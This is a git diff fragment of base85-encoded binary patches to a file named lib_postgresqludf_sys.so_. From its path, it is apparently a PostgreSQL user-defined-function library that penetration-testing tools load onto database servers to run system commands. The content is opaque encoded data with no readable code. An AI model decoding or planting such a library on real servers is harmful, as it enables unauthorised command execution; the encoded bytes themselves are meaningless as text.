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 Z$fOp=5V#Q>f<*w8jJ=lQ3^r}|p@hKoDJ1{^ literal 5267 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 Zp44HdIj&W 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 diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ index 1d4bb5afd84659e302a07e34ddbe0a50ff2796ff..52e70186c8653318bc1cd04a4f7f85a59824b319 100644 GIT binary patch literal 2640 zcmV-W3a|Aw)3+ZQCV9JlkI_7DvuVdqOH!T@NGCrDGGb{29xlw9SIUQ8$l?4>dIj&W zhZF}6BzWdsOb>LS0e2LV`u5}bd_Rui_ty4$sf)>gAjNOEKzyZta5ro03!=QVQq9`- zWC0L3tVxl=iZCtOMEU-zKCP(C?a2`N9Jz=QQ`5ePpJZ$v#=b!O$UhEQ`flis2)*`IqB?A}vd{cf znmm=t%$4KK(T%FqJqMRWRJ=b!H9Y{w8Utt!w8h7#TMB?upWK+bW4gLj{4;)eEu`-A z&r`1tLytJ(F;PBos}EsxvHjw6Odi}wb6^#05%_nj<|nPf#I{h3kyuNfzlj4wzA_$8 zAE`NETqs$KNxqoI(R|RqR6f6~Dcs|_on2m0o)YD>JT;?fS53r8iVyz)Cb@GJsX6Yo>5oIo_)@5myFnvnT@lUU4ej$BNQ1uLOBn$EAhR=JIHD?j^v*o_523V z+47@tlI(3ur9xuU>*N)75BOwtOr?^5^F-;)$WsP~liZ-#nGyJ<3L6Be=KUG|^&aWk?8Vlo)P-4Xn3ssKx3{o-noG8}f#U;1Lx-IB zk!+8i&t74Ovhwd)bIe>x$d98J)OY1G;Qfc&WZ6X5rSYGQ#P2B>w2I0;6nn1Z0Jkfg z{{!DHzQ_+qFqz`N5U=E97^PV`1rL_d%#2Hc<_Xzge3ZS#Pxo@jWnFai6T|Wos5Gx= z2n{$ZTMoc3a$)66*%p&){*xg=viy9^occBXZdMq2{)Gp0Pad=E*woen-U-cJAcPwU zzYcNa-k$epvUsZ)qYOo|6eNIgFw=hTnP`p@>A2BX>3LwoM?F`zrC9e-&Um^9l3n<}dts$_ufJ2h~=fdysjh2fTI z>IyKv>F}o<^k0A+K|>{pMraQuoAvINs6@{TofD*oFytZcnDS)y!Ul!8oFvK;j3@Bl z{r2Yn0%O`Fb2NGX+)1ee@co2Rypur>>1x$593SocOora_O>t@n(2Y*9g@d&$vAk}x!c;{@OgnstWZUY<%yu+tKN)Bui(iocxCOCuxaCtR-V0~$*UDRxU>o0O z>@VzVFn4%}wYT^eK`$l7kpDU!=NjmlfJn0WPtnVYjs*8jnU$NMf#m)?5#G$zfr5ZS z6bzz7fmkpSgsRVO6-j|!f}gxt2xhWcHP}^=CZkdJ5Up8)FU>I03?l%UouD46X0YaE z5D@RSITY}zP~s=ntk_E)?Lf<$N$l5^OCe{IzpME%6<8~W-rAvAS{=*DgG&t3T+Aa1 z4kIo*;F~Kl>vAnrrL!EH1vycS98sdbmv>Kv70rZ)EuOTd;cWVu3;U}#Q3E>Ft%%G9 zmmZ=OW;Fr=F7)CjuRHxgr20@#jH8ljs^ZEuHSRr`1LXNiP7aWpeEzI%hym(M)NS8= z1HlVND!^gFn6rzxoPo+l)^(~tPaRt3UvM7oRukg%xq%)bP8OH{)+_ylo;%_w0YR|gcN8tQ ziXSK6B0Do6QCIRH2xn&(PEV`S)=!c-$M=s+F!RlxMDdQx>#s9PLg3036U;C7cv5k-eRfDh+C@7 z^Gvkznb?^PZWx}FNXvX7p1~GEvh^;dj>1Y9*WcH>{1TfD-+NaAN&X+rza4iSAWqdwmW0SY1FZin7mZvDloe22R$z68drD7 z!XIP1EBBLrkh=;@!E(il$_z|9PNkJpw+_V%fEM(n;Dcr|EcTP4a$s>6Q-F1o0Ocpk z;AsN6*pl-_=Mm8d>(8cqp#jDH;AfKa6+uh&$S+^9u^@R^%4xM7ChlNkp> y4>LARQeJXjJa<-LGDOFF&Me1&*0gK(F$Ngpa%sm?SC94RcbB*rs=Qg#FqipjI4JZ0 literal 2640 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 